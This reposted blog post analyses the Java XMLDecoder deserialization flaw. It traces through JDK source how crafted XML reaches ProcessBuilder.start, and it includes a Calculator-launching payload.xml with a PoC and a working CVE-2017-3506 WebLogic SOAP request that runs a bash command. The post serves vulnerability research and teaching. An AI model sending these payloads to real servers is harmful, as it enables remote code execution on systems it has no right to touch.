XMLDecoder反序列化漏洞研究 - 郑瀚Andrew
2023-11-8 08:45:0 Author: www.cnblogs.com(查看原文) 阅读量:15 收藏

java.beans.XMLDecoder 是jdk自带的以SAX方式解析XML的类,主要功能是实现java对象和xml文件之间的转化:

  • 序列化:将java对象转换成xml文件
  • 反序列化:把特定格式的xml文件转换成java对象

下面是一个简单地demo样例,

Person.java

package org.example;

public class Person {
    String name = "";
    int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void sayHello(){
        System.out.println("Hello, my name is "+name);
    }
}

XMLDecoderTest.java

package org.example;

import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;

public class XMLDecoderTest {
    // 序列化对象到文件person.xml
    public void xmlEncode() throws FileNotFoundException {
        Person person = new Person();
        person.setAge(18);
        person.setName("test");
        XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("person.xml")));
        xmlEncoder.writeObject(person);
        xmlEncoder.close();
        System.out.println("序列化结束!");
    }

    // 反序列化
    public void xmlDecode() throws FileNotFoundException {
        XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("person.xml")));
        Person person = (Person)xmlDecoder.readObject();
        xmlDecoder.close();
        person.sayHello();
        System.out.println("反序列化成功!");
    }

    public static void main(String[] args) throws FileNotFoundException {
        XMLDecoderTest xmlTest = new XMLDecoderTest();
        xmlTest.xmlEncode();
        xmlTest.xmlDecode();
    }
}

接下来自己实现一个基于SAX的XML解析。

SAX全称为Simple API for XML,在Java中有两种原生解析xml的方式,分别是SAX和DOM。两者区别在于:

  • Dom解析功能强大,可增删改查,操作时会将xml文档以文档对象的方式读取到内存中,因此适用于小文档
  • Sax解析是从头到尾逐行逐个元素读取内容,修改较为不便,但适用于只读的大文档

SAX采用事件驱动的形式来解析xml文档,即触发了事件就去做事件对应的回调方法。

在SAX中,读取到文档开头、结尾,元素的开头和结尾以及编码转换等操作时会触发一些回调方法,你可以在这些回调方法中进行相应事件处理:

  • startDocument()
  • endDocument()
  • startElement()
  • endElement()
  • characters()
package org.example;

import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.File;

public class DemoHandler extends DefaultHandler {
    public static void main(String[] args) {
        SAXParserFactory saxParserFactory = SAXParserFactory.newInstance();
        try {
            SAXParser parser = saxParserFactory.newSAXParser();
            DemoHandler dh = new DemoHandler();
            String path = "payload.xml";
            File file = new File(path);
            parser.parse(file, dh);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void characters(char[] ch, int start, int length) throws SAXException {
        System.out.println("characters()");
        super.characters(ch, start, length);
    }

    @Override
    public void startDocument() throws SAXException {
        System.out.println("startDocument()");
        super.startDocument();
    }

    @Override
    public void endDocument() throws SAXException {
        System.out.println("endDocument()");
        super.endDocument();
    }

    @Override
    public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
        System.out.println("startElement()");
        for (int i = 0; i < attributes.getLength(); i++) {
            // getQName()是获取属性名称,
            System.out.print(attributes.getQName(i) + "=" + attributes.getValue(i) + "n");
        }
        super.startElement(uri, localName, qName, attributes);
    }

    @Override
    public void endElement(String uri, String localName, String qName) throws SAXException {
        System.out.println("endElement()");
        System.out.println(uri + localName + qName);
        super.endElement(uri, localName, qName);
    }
}

可以看到,我们通过继承SAX的DefaultHandler类,重写其事件方法,就能拿到XML对应的节点、属性和值。

XMLDecoder也是基于SAX实现的xml解析,不过他拿到节点、属性、值之后通过Expression创建对象及调用方法。XMLEncoder使用反射来找出它们包含哪些字段,但不是以二进制形式编写这些字段,而是以 XML 编写。 待编码的对象不需要是可序列化的,但是它们确实需要遵循 Java Beans 规范,例如

  • 该对象具有一个公共的空(无参数)构造器
  • 该对象具有每个受保护/私有财产的公共获取器和设置器

参考链接: 

https://kancloud.cn/apachecn/howtodoinjava-zh/1952934 

概括来说,XMLDecoder产生漏洞的原因主要有以下几个关键因素:

  • XMLDecoder是java自带的以SAX方式解析xml的类,其在反序列化经过特殊构造的XML数据可以覆盖对应Beans成员值,这给构造gadget产生了可能。
  • XMLDecoder使用反射来动态生成Beans,这给触发gadget产生了可能。

以上两个条件同时都具备,使得XMLDecoder产生远程代码执行漏洞的攻击面。

在Weblogic中由于多个包wls-wast、wls9_async_response war、_async使用了该类进行反序列化操作,导致出现了了多个高位RCE漏洞。

0x1:漏洞复现

payload.xml

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>
            </void>
        </array>
        <void method="start">
        </void>
    </object>
</java>

poc.java

package org.example;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;

public class poc {
    public static void main(String[] args) throws Exception {
        File file=new File("payload.xml");
        FileInputStream fileInputStream=new FileInputStream(file);
        BufferedInputStream bufferedInputStream=new BufferedInputStream(fileInputStream);
        XMLDecoder xmlDecoder=new XMLDecoder(bufferedInputStream);
        xmlDecoder.readObject();
        xmlDecoder.close();
    }
}

0x2:漏洞源码跟踪

在java.lang.ProcessBuilder#start打断点,堆栈如下,

可以看到,堆栈入口是从readObject()触发的,我们从头开始跟踪。

XMLDecoder跟进readObject(),

跟进parsingComplete(),

其中使用XMLDecoder的handler属性DocumentHandler的parse方法,并且传入了我们输入的xml数据,

进入com.sun.beans.decoder.DocumentHandler#parse,

这里的代码其实和我们写的DemoHandler里一模一样,通过SAXParserFactory工厂创建了实例,进而newSAXParser拿到SAX解析器,调用parse解析,那么接下来解析的过程,我们只需要关注DocumentHandler的几个事件函数就行了。 

在DocumentHandler的构造函数中指定了可用的标签类型,

对应了com.sun.beans.decoder包中的几个类,

在startElement中首先解析java标签,然后设置Owner和Parent,

this.getElementHandler(var3)对应的就是从构造方法中放入this.handlers的hashmap取出对应的值,如果不是构造方法中的标签,会抛出异常。

然后解析object标签,拿到属性之后通过addAttribute()设置属性,

在addAttribute()没有对class属性进行处理,抛给了父类com.sun.beans.decoder.NewElementHandler#addAttribute,

会通过findClass()去寻找java.lang.ProcessBuilder类,

通过classloader寻找类赋值给type,

赋值完之后跳出for循环进入this.handler.startElement(),不满足条件,

接下来解析array标签,同样使用addAttribute对属性赋值,

同样抛给父类com.sun.beans.decoder.NewElementHandler#addAttribute处理,

接下来继续设置length属性, 

最后进入com.sun.beans.decoder.ArrayElementHandler#startElement,

因为ArrayElementHandler类没有0个参数的getValueObject()重载方法,但是它继承了NewElementHandler,所以调用com.sun.beans.decoder.NewElementHandler#getValueObject(),

这个getValueObject重新调用ArrayElementHandler#getValueObject两个参数的重载方法,

ValueObjectImpl.create(Array.newInstance(var1, this.length))创建了长度为1、类型为String的数组并返回,到此处理完array标签。

接着处理void,创建VoidElementHandler,设置setOwner和setParent。

调用父类com.sun.beans.decoder.ObjectElementHandler#addAttribute设置index属性,

继续解析string标签,不再赘述。

解析完所有的开始标签之后,开始解析闭合标签,最开始就是,进入到endElement()。

StringElementHandler没有endElement(),调用父类ElementHandler的endElement(),

调用本类的getValueObject(), 

设置value为/System/Applications/Calculator.app/Contents/MacOS/Calculator,

接着闭合void,

闭合array,

然后开始解析<void method="start"/>

通过父类的addAttribute将this.method赋值为start,

随后闭合void标签,

调用endElement,VoidElementHandler类没有,所以调用父类ObjectElementHandler.endElement,

调用NewElementHandler类无参getValueObject,

然后调用VoidElementHandler类有参getValueObject,但是VoidElementHandler没有这个方法,所以调用VoidElementHandler父类ObjectElementHandler的有参getValueObject。

跟进Object var3 = this.getContextBean(),因为本类没有getContextBean(),所以调用父类NewElementHandler的getContextBean(),

继续调用NewElementHandler父类ElementHandler的getContextBean(),

会调用this.parent.getValueObject()也就是ObjectElementHandler类,而ObjectElementHandler没有无参getValueObject()方法,会调用其父类NewElementHandler的方法,

最终var3的值为java.lang.ProcessBuilder,var4的值为start,var5的值为/System/Applications/Calculator.app/Contents/MacOS/Calculator,

通过Expression的getValue()方法反射调用start,执行指令。

也就相当于最后拼接了一个表达式:new java.lang.ProcessBuilder(new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).start();

XMLDecoder采用Expression对节点的value进行动态获取,而Expression是可以获取返回值的,这是能够漏洞利用成功的一个关键点之一。举个例子,

User.java

package org.example;

public class User {
    private int id;
    private String name;

    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", name='" + name + "'" +
        '}';
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String sayHello(String name) {
        return String.format("你好 %s!", name);
    }
}

TestMain.java

package org.example;

import org.example.User;

import java.beans.Expression;
import java.beans.Statement;

public class TestMain {
    public static void main(String[] args) {
        testStatement();
        testExpression();
    }

    public static void testStatement() {
        try {
            User user = new User();
            Statement statement = new Statement(user, "setName", new Object[]{"张三"});
            statement.execute();
            System.out.println(user.getName());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void testExpression() {
        try {
            User user = new User();
            Expression expression = new Expression(user, "sayHello", new Object[]{"小明"});
            expression.execute();
            System.out.println(expression.getValue());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

可以看到,Expression是可以获得返回值的,方法是getValue()。Statement不能获得返回值。 

总结一下,

XMLDecoder导致漏洞的原因就在于处理节点的时候,信任了外部输入的XML指定节点类型信息(class类型节点),同时在进行节点Expression动态实例化的时候(通过invoke实现set()方法),允许节点属性由XML任意控制(本例中是new java.lang.ProcessBuilder、和new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),导致Expression的set()方法被重载为风险函数(本例中是start)。Expression动态解析因为Java反射特性实现了代码执行。

参考链接:

https://www.chabug.org/audit/1425 
https://blog.csdn.net/qq_38154820/article/details/108138810
https://github.com/mhaskar/XMLDecoder-payload-generator/blob/main/XMLDecoder-payload-generator.py
https://www.cnblogs.com/0x28/p/14391641.html
https://www.shijiyin.com/archives/487334 
https://www.kancloud.cn/apachecn/howtodoinjava-zh/1952934

0x1:CVE-2017-3506

POST包,

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.248.128:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Content-Length: 605
Origin: http://192.168.248.128:7001
Connection: close
Referer: http://192.168.248.128:7001/wls-wsat/CoordinatorPortType
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/CVE-2017-3506</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

参考链接:

https://sp4zcmd.github.io/2021/09/30/XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

文章来源: https://www.cnblogs.com/LittleHann/p/17814641.html
如有侵权请联系:admin#unsafe.sh